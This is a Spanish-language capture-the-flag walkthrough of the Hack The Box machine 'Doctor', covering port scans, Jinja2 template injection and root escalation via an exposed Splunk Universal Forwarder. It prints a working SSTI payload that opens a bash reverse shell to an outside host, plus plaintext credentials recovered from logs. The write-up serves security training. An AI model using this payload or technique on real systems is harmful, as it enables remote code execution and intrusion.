Doctor

Sistema operativo | Dificultad | Fecha de Lanzamiento | Creador |
---|---|---|---|
Linux | Easy | 26 Setiembre 2020 | egotisticalSW |
Escaneo de puertos
nmap -sS -p- --open -Pn -n --min-rate 5000 -oG openPorts -vvv 10.10.10.209
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-13 05:00 -03
Initiating SYN Stealth Scan at 05:00
Scanning 10.10.10.209 [65535 ports]
Discovered open port 22/tcp on 10.10.10.209
Discovered open port 80/tcp on 10.10.10.209
Discovered open port 8089/tcp on 10.10.10.209
Completed SYN Stealth Scan at 05:01, 27.01s elapsed (65535 total ports)
Nmap scan report for 10.10.10.209
Host is up, received user-set (0.27s latency).
Scanned at 2025-04-13 05:00:36 -03 for 27s
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
8089/tcp open unknown syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 27.09 seconds
Raw packets sent: 131083 (5.768MB) | Rcvd: 28 (1.896KB)
Enumeración de versión y servicio
nmap -sCV -p22,80,8089 -oN servicesScan 10.10.10.209
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-13 05:01 -03
Nmap scan report for 10.10.10.209 (10.10.10.209)
Host is up (0.20s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA)
| 256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA)
|_ 256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
8089/tcp open ssl/http Splunkd httpd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2020-09-06T15:57:27
|_Not valid after: 2023-09-06T15:57:27
|_http-server-header: Splunkd
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: splunkd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 60.58 seconds
Explotación inicial
echo '10.10.10.209 doctors.htb' >> /etc/hosts
HTTP (80)
Podemos crear nuevos post.
SSTI
Si miramos el código fuente de el formulario para crear un nuevo mensaje, nos encontramos con algo interesante. Menciona una ruta llamada /archive
.
Si accdenis a la ruta y miramos el código fuente, nos encontramos con los siguiente:
Creamos un post donde el titulo sea {{7*7}}
.
Vemos que no se esta interpretando.
Pero, si volvemos a ingresar al /archive
y miramos el código fuente, vemos que nos da como resultado 49
lo cual indica que esta intepretando la operación y que es vulnerable a STTI.
Lanzamos una reverse shell.
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("bash -c 'bash -i >& /dev/tcp/10.10.14.2/4444 0>&1'").read()}}{%endif%}{%endfor%}
El usuario web pertence al grupo adm por lo que puede leer archivos de logs.
Shaun
shaun:Guitar123
HTTPS (8089) - Splunk v8.0.5
Leemos el flag de user
Escalación de privilegios root
Pensando en la enumeración inicial, hay una instancia de Splunk Forwarder corriendo en el puerto 8089.
Buscando en internet las palabras clave splunk universal forwarder exploit
, aparece este artículo que detalla el uso de Splunk Whisperer2 para obtener una shell como el usuario root.
Esto es posible porque el Splunk Universal Forwarder incluye un servicio de gestión que escucha en el puerto 8089 y por defecto permite conexiones remotas.
Este servicio de gestión puede ser usado para enviar comandos individuales o scripts a los agentes del Universal Forwarder a través de la API de Splunk.
⚠️ Los agentes UF (Universal Forwarder) no validan que las conexiones provengan de un servidor válido de Splunk Enterprise, ni validan que el código esté firmado o sea legítimo del servidor de Splunk.
La explotación se basa en que el Universal Forwarder se esté ejecutando como root.
Vamos a verificar si esto es así.
ps -aux | grep splunk
git clone https://github.com/cnotin/SplunkWhisperer2
cd SplunkWhisperer2/PySplunkWhispherer2/
Debemos indicar las credenciales, en este caso las credenciales de shaun.
Lanzamos una reverse shell.
Post Explotación
Leemos el flag de root